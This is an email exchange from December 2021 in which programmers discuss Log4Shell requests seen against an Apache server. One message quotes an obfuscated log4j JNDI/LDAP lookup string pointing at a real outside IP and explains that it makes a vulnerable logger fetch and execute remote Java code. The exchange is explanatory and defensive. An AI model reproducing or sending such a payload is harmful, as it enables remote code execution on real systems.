On my end? No. On their end they know the ip, they know they have the code, and how to serve it back to the affected system.

On Wed, 2021-12-15 at 09:12 -0600, Brad Stone wrote:
On Wed, Dec 15, 2021 at 9:10 AM Kevin Bucknum <Kevin@xxxxxxxxxxxxxxxxxxx<mailto:Kevin@xxxxxxxxxxxxxxxxxxx>>
wrote:

This is the type of request that I'm seeing against an apache web server.
Not vulnerable in itself, but suppose I'm running a java application under
WAS. Logging either within my application or with WAS using a vulnerable
log4j version.

${${lower:${lower:jndi}}:ld${lower:ap}://45.146.164.160:1389/t}

That will cause the process doing the logging to make a connection to the
server running at 45.146.164.160 and execute the java code that it gets
back.


Wouldn't the attacker need to know not only the IP of the server, hope it
has java code on it, and in the path they use?

[https://www.medtronsoftware.com/img/MedtronMinilogo.bmp]
Kevin Bucknum

Senior Programmer Analyst

MEDDATA / MEDTRON

120 Innwood Drive
Covington LA 70433
Local: 985-893-2550<tel:985-893-2550>
Toll Free: 877-893-2550<tel:877-893-2550>
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